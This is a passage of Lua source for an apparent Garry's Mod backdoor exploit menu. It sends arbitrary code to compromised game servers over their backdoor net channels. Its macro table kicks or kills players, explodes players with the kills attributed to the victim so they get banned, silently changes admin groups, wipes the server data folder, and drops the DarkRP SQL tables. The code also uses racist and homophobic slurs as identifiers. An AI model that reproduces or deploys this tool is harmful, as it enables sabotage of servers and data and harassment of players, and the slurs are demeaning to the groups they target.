8044 if ( Ent.SetVehicleClass && @1 ) then Ent:SetVehicleClass( @1 ) end
8045
8046 Ent.VehicleName = vehicle.Class
8047
8048 Ent.VehicleTable = @1
8049
8050 Ent.ClassOverride = vehicle.Class
8051
8052 ]],
8053 ["Desc"] = "Spawn a vehicle in front of this player (first parameter = vehicle class), don't try to spawn ents with this ya dingus!",
8054 ["NeedsParameters"] = 1
8055 },
8056 ["Kick player"] = {
8057 ["Type"] = 2,
8058 ["Code"] = [[ v:Kick( @1 ) ]],
8059 ["Desc"] = "First parameter = reason for kick"
8060 },
8061 ["Niggerize player"] = {
8062 ["Type"] = 2,
8063 ["Code"] = [[ if !v.Niggered then v:SetColor( Color( 0, 0, 0 ) ) v.Niggered = true else v:SetColor( Color(255, 255, 255) ) v.Niggered = false end ]],
8064 ["Desc"] = "Turns them black as night"
8065 },
8066 ["Cloak player"] = {
8067 ["Type"] = 2,
8068 ["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],
8069 ["Desc"] = "Toggles cloaking on the player, people can still see the weapon they are holding however"
8070 },
8071 ["Allahu Ackbar"] = {
8072 ["Type"] = 2,
8073 ["Code"] = [[
8074
8075 local explo = ents.Create("env_explosion")
8076
8077 explo:SetOwner(v)
8078
8079 explo:SetPos(v:GetPos())
8080
8081 explo:SetKeyValue("iMagnitude", "250")
8082
8083 explo:Spawn()
8084
8085 explo:Activate()
8086
8087 explo:Fire("Explode", "", 0)
8088
8089 if v:Alive() then v:Kill() end
8090
8091 ]],
8092 ["Desc"] = "Blows them the fuck up, all kills are attributed to them so its great for getting random assholes banned"
8093 },
8094 ["ULX set access"] = {
8095 ["Type"] = 2,
8096 ["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
8097 ["Desc"] = "If ulx is installed this will (silently!) set them to the specified usergroup (1st parameter)",
8098 ["NeedsParameters"] = 1
8099 },
8100 ------------------------ dangerous codens ------------------------
8101 ["DarkRP clear all money"] = {
8102 ["Type"] = 3,
8103 ["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
8104 ["Desc"] = "Kids will cry to the admins for the next week about losing their precious money"
8105 },
8106 ["Cleanup map"] = {
8107 ["Type"] = 3,
8108 ["Code"] = [[game.CleanUpMap()]],
8109 ["Desc"] = "Wipe the map clean, taking everybodys cars, printers and bases out"
8110 },
8111 ["Vaporize all players"] = {
8112 ["Type"] = 3,
8113 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
8114 ["Desc"] = "Deletes their player entity, leaving them staring at a wall of errors"
8115 },
8116 ["FPP Unrestrict everything"] = {
8117 ["Type"] = 3,
8118 ["Code"] = [[FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {} ]],
8119 ["Desc"] = ""
8120 },
8121 ["Wipe data folder"] = {
8122 ["Type"] = 3,
8123 ["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],
8124 ["Desc"] = "Wipe the servers data folder, fucking all their settings and stuff up"
8125 },
8126 ["Wipe DarkRP SQL Tables"] = {
8127 ["Type"] = 3,
8128 ["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)') ]],
8129 ["Desc"] = "Completely fucks darkrp, forces them to reinstall the entire server"
8130 }
8131}
8132
8133local selectedbackdoor = ""
8134local backdoorargs = ""
8135local selectedplayers = {}
8136
8137function BD.GenerateBackdoorList(parent, category)
8138 for k, v in SortedPairs(BD.BDMacros, false) do
8139 if v["Type"] ~= category then continue end
8140 local plypanel2 = vgui.Create("DPanel")
8141 plypanel2:SetPos(0, 0)
8142 plypanel2:SetSize(200, 25)
8143
8144 -- Paint function
8145 plypanel2.Paint = function()
8146 draw.RoundedBoxEx(8, 1, 1, plypanel2:GetWide(), plypanel2:GetTall(), Color(0, 0, 0, 150), false, false, false, false)
8147
8148 if selectedbackdoor == k then
8149 surface.SetDrawColor(Color(70, 130, 180, 255))
8150 else
8151 surface.SetDrawColor(Color(0, 0, 0, 255))
8152 end
8153
8154 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1, plypanel2:GetTall() - 1)
8155 end
8156
8157 local plyname = vgui.Create("DLabel", plypanel2)
8158 plyname:SetPos(10, 5)
8159 plyname:SetFont("Trebuchet18")
8160 local tcol = Color(255, 255, 255)
8161
8162 if v.Private then
8163 tcol = Color(155, 255, 155)
8164 end
8165
8166 plyname:SetColor(tcol)
8167 plyname:SetText(k)
8168 plyname:SetSize(180, 15)
8169 local faggot = vgui.Create("DButton", plypanel2)
8170 faggot:SetSize(plypanel2:GetWide(), plypanel2:GetTall())
8171 faggot:SetPos(0, 0)
8172 faggot:SetText("")
8173
8174 if v["Desc"] ~= "" then
8175 faggot:SetToolTip(v["Desc"])
8176 end
8177
8178 faggot.Paint = function(panel, w, h) return end
8179
8180 faggot.DoClick = function()
8181 selectedbackdoor = k
8182 end
8183
8184 parent:AddItem(plypanel2)
8185 end
8186end
8187
8188function BD.FormatCodeTargeted()
8189 if selectedbackdoor == "" then
8190 BD.ChatText("You haven't selected a macro to use!", Color(255, 155, 155))
8191
8192 return
8193 end
8194
8195 local param = string.Explode(",", backdoorargs)
8196 local ids = {}
8197
8198 for k, v in pairs(selectedplayers) do
8199 if not v:IsValid() then
8200 table.RemoveByValue(selectedplayers, v)
8201 continue
8202 end
8203
8204 table.insert(ids, v:UniqueID())
8205 end
8206
8207 local code = [[ local targets = ## for k, v in pairs( player.GetAll() ) do if !v:IsValid() then continue end if table.HasValue( targets, v:UniqueID() ) then %% end end ]]
8208 code = string.Replace(code, "##", table.ToString(ids))
8209 code = string.Replace(code, "%%", BD.BDMacros[selectedbackdoor]["Code"] or "")
8210 code = string.Replace(code, "%LP", "p:UniqueID() == \"" .. LocalPlayer():UniqueID() .. "\"")
8211
8212 if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "") then
8213 BD.ChatText("This macro requires parameters to work! check its description for more info", Color(255, 155, 155))
8214
8215 return
8216 end
8217
8218 if #param < 1 then
8219 param = {
8220 [1] = "derp",
8221 [2] = "derp",
8222 [3] = "derp",
8223 [4] = "derp",
8224 [5] = "derp"
8225 }
8226 end
8227
8228 for k, v in pairs(param) do
8229 code = string.Replace(code, "@" .. k, [["]] .. v .. [["]])
8230 end
8231
8232 BD.Fire(code)
8233end
8234
8235function BD.FormatCodeGlobal()
8236 if selectedbackdoor == "" then
8237 BD.ChatText("You haven't selected a macro to use!", Color(255, 155, 155))
8238
8239 return
8240 end
8241
8242 local param = string.Explode(",", backdoorargs)
8243 local code = BD.BDMacros[selectedbackdoor]["Code"]
8244
8245 if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "") then
8246 BD.ChatText("This macro requires parameters to work! check its description for more info", Color(255, 155, 155))
8247
8248 return
8249 end
8250
8251 if #param < 1 then
8252 param = {
8253 [1] = "derp",
8254 [2] = "derp",
8255 [3] = "derp",
8256 [4] = "derp",
8257 [5] = "derp"
8258 }
8259 end
8260
8261 for k, v in pairs(param) do
8262 code = string.Replace(code, "@" .. k, [["]] .. v .. [["]])
8263 code = string.Replace(code, "%LP", LocalPlayer():UniqueID())
8264 code = string.Replace(code, "%LCP", "p:UniqueID() == \"" .. LocalPlayer():UniqueID() .. "\"")
8265
8266 for k, v in pairs(BackDoor_net) do
8267 code = string.Replace(code, "%BD", v.NetWork)
8268 end
8269 end
8270
8271 BD.Fire(code)
8272end
8273
8274local safenet = net
8275
8276local function bdnet()
8277 if R8 and R8.G then return R8.G.net end
8278
8279 return safenet
8280end
8281
8282function BD.Fire(code)
8283 local cbd = BD.CurrentBackdoor
8284 local key = BD.BackdoorTypes[cbd].Netkey
8285 bdnet().Start(key)
8286 bdnet().WriteString(code)
8287 bdnet().SendToServer()
8288end
8289
8290surface.CreateFont("exitmenu", {
8291 font = "Arial",
8292 size = 20,
8293 weight = 1000,
8294 shadow = false,
8295 outline = false
8296})
8297
8298local function exitmenu(panel, X, y)
8299 local CButton = vgui.Create("DButton", panel)
8300 CButton:SetTextColor(Color(150, 150, 150))
8301 CButton:SetText("РҐ")
8302 CButton:SetFont("exitmenu")
8303 CButton:SetPos(X, y)
8304 CButton:SetSize(50, 24)
8305
8306 CButton.DoClick = function()
8307 panel:SizeTo(0, 0, .2, 0, .2)
8308
8309 timer.Simple(0.3, function()
8310 panel:SetVisible(false)
8311 end)
8312 end
8313
8314 CButton.Paint = function(panel, w, h)
8315 surface.SetDrawColor(Color(0, 0, 0, 255))
8316 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
8317 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
8318 end
8319
8320 CButton.OnCursorEntered = function(self)
8321 surface.PlaySound("garrysmod/ui_hover.wav")
8322
8323 CButton.Paint = function(panel, w, h)
8324 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
8325 end
8326 end
8327
8328 -------------------------------------------------------------
8329 CButton.OnCursorExited = function(self)
8330 CButton.Paint = function(panel, w, h)
8331 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
8332 end
8333 end
8334 ------------------------------------------------------------------------
8335end
8336
8337local blur = Material("pp/blurscreen")
8338
8339local function DrawBlur(panel, amount)
8340 local x, y = panel:LocalToScreen(0, 0)
8341 local scrW, scrH = ScrW(), ScrH()
8342 surface.SetDrawColor(255, 255, 255)
8343 surface.SetMaterial(blur)
8344
8345 for i = 1, 3 do
8346 blur:SetFloat("$blur", (i / 3) * (amount or 6))
8347 blur:Recompute()
8348 render.UpdateScreenEffectTexture()
8349 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
8350 end
8351end
8352
8353CreateClientConVar("menu_r", "148", true, false)
8354CreateClientConVar("menu_g", "0", true, false)
8355CreateClientConVar("menu_b", "211", true, false)
8356
8357function BD.BackdoorMenu()
8358 BD.Backdoors = BD.PingBackDoors()
8359 local BDMenu = vgui.Create("DFrame")
8360 BDMenu:Center()
8361 BDMenu:SizeTo(500, 400, .3, 0, .3)
8362 exitmenu(BDMenu, 449, 1)
8363 BDMenu:SetTitle(" ")
8364 BDMenu:ShowCloseButton(false)
8365 BDMenu:SetVisible(true)
8366 BDMenu:MakePopup()
8367
8368 function BDMenu:Paint()
8369 DrawBlur(self, 5)
8370 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
8371 surface.SetDrawColor(Color(0, 0, 0, 255))
8372 surface.DrawOutlinedRect(0, 0, BDMenu:GetSize())
8373 ---------------------------------------------------------
8374 --draw.SimpleText( "Player's", "exitmenu", 320, 25 , Color( 255, 255, 255, 200 ), 0, 0 )
8375 ---------------------------------------------------------
8376 surface.DrawOutlinedRect(0, 25, BDMenu:GetSize())
8377 -------------------------------------------------
8378 surface.DrawOutlinedRect(0, 0, 449, 26)
8379 --surface.DrawOutlinedRect( -6, 25, BDMenu:GetSize() )
8380 --
8381 --surface.DrawOutlinedRect( 0, -6, BDMenu:GetSize() )
8382 ------------------------------------------------
8383 end
8384
8385 local it = 145
8386 local Plist = vgui.Create("DPanelList", BDMenu)
8387 Plist:SetPos(5, 30)
8388 Plist:SetSize(200, 315)
8389 Plist:SetPadding(5)
8390 Plist:SetSpacing(5)
8391 Plist:EnableHorizontal(false)
8392 Plist:EnableVerticalScrollbar(true)
8393 Plist:SetName("")
8394
8395 Plist.Paint = function(self, w, h)
8396 DrawBlur(self, 5)
8397 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
8398 surface.SetDrawColor(Color(0, 0, 0, 255))
8399 surface.DrawOutlinedRect(0, 0, BDMenu:GetSize())
8400 end
8401
8402 local Plist4 = vgui.Create("DPanelList", BDMenu)
8403 Plist4:SetPos(210, 30)
8404 Plist4:SetSize(285, 315)
8405 Plist4:SetPadding(5)
8406 Plist4:SetSpacing(5)
8407 Plist4:EnableHorizontal(false)
8408 Plist4:EnableVerticalScrollbar(true)
8409 Plist4:SetName("")
8410
8411 Plist4.Paint = function(self, w, h)
8412 surface.SetDrawColor(50, 50, 50, 255)
8413 surface.DrawOutlinedRect(0, 0, w, h)
8414 surface.SetDrawColor(0, 0, 0, 200)
8415 surface.DrawRect(0, 0, w, h)
8416 end
8417
8418 local faggot = vgui.Create("DButton", BDMenu)
8419 faggot:Dock(5)
8420 faggot:SetText("Activate Backdoor!")
8421 faggot:SetTextColor(Color(255, 255, 255, 255))
8422
8423 faggot.Paint = function(panel, w, h)
8424 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
8425 surface.SetDrawColor(Color(0, 0, 0, 255))
8426 surface.DrawOutlinedRect(0, 0, faggot:GetSize())
8427 surface.DrawOutlinedRect(0, 25, faggot:GetSize())
8428 end
8429
8430 faggot.DoClick = function()
8431 if not BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
8432 BD.ChatText("You haven't even selected a macro to use ya dingus!", Color(255, 155, 155))
8433
8434 return
8435 end
8436
8437 if BD.BDMacros[selectedbackdoor].Type == (1 or 3) then
8438 BD.FormatCodeGlobal()
8439 else
8440 BD.FormatCodeTargeted()
8441 end
8442
8443 surface.PlaySound("buttons/button18.wav")
8444 end
8445
8446 local moonman = vgui.Create("DTextEntry", BDMenu)
8447 moonman:Dock(5)
8448 moonman:DockMargin(0, 0, 0, 5)
8449 moonman:SetText(backdoorargs)
8450
8451 moonman.OnChange = function(self)
8452 backdoorargs = self:GetValue()
8453 end
8454
8455 -- surface.PlaySound("buttons/button3.wav")
8456 -- players list
8457 for k, v in pairs(player.GetAll()) do
8458 local plypanel2 = vgui.Create("DPanel")
8459 plypanel2:SetPos(0, 0)
8460 plypanel2:SetSize(200, 25)
8461
8462 -- Paint function
8463 plypanel2.Paint = function()
8464 draw.RoundedBoxEx(8, 1, 1, plypanel2:GetWide(), plypanel2:GetTall(), Color(0, 0, 0, 150), false, false, false, false)
8465
8466 if table.HasValue(selectedplayers, v) then
8467 surface.SetDrawColor(Color(50, 255, 90, 255))
8468 else
8469 surface.SetDrawColor(Color(50, 50, 90, 255))
8470 end
8471
8472 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1, plypanel2:GetTall() - 1)
8473 end
8474
8475 local plyname = vgui.Create("DLabel", plypanel2)
8476 plyname:SetPos(10, 5)
8477 plyname:SetFont("Trebuchet18")
8478 local tcol = Color(255, 255, 255)
8479
8480 if v == LocalPlayer() then
8481 tcol = Color(155, 155, 255)
8482 end
8483
8484 -- elseif BD.IsFriend( v ) then tcol = Color( 0, 255, 0 )
8485 -- elseif BD.GetRank(v) != ( "user" or "guest" or "player" ) then tcol = Color( 255, 100, 0 ) end
8486 plyname:SetColor(tcol)
8487 plyname:SetText(v:Nick())
8488 plyname:SetSize(180, 15)
8489 local faggot = vgui.Create("DButton", plypanel2)
8490 faggot:SetSize(plypanel2:GetWide(), plypanel2:GetTall())
8491 faggot:SetPos(0, 0)
8492 faggot:SetText("")
8493 faggot.Paint = function(panel, w, h) return end
8494
8495 faggot.DoClick = function()
8496 if table.HasValue(selectedplayers, v) then
8497 table.RemoveByValue(selectedplayers, v)
8498 else
8499 table.insert(selectedplayers, v)
8500 end
8501 end
8502
8503 Plist4:AddItem(plypanel2)
8504 end
8505
8506 BD.GenerateBackdoorList(Plist, 1)
8507 BD.GenerateBackdoorList(Plist, 2)
8508 BD.GenerateBackdoorList(Plist, 3)
8509end
8510
8511concommand.Add("bd_menu", BD.BackdoorMenu)
8512
8513function BD.QuickFireBackdoor()
8514 if not BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
8515 BD.ChatText("You haven't even selected a macro to use ya dingus!", Color(255, 155, 155))
8516
8517 return
8518 end
8519
8520 if BD.BDMacros[selectedbackdoor].Type == (1 or 3) then
8521 BD.FormatCodeGlobal()
8522 else
8523 BD.FormatCodeTargeted()
8524 end
8525end
8526
8527concommand.Add("bd_quickfire", BD.QuickFireBackdoor)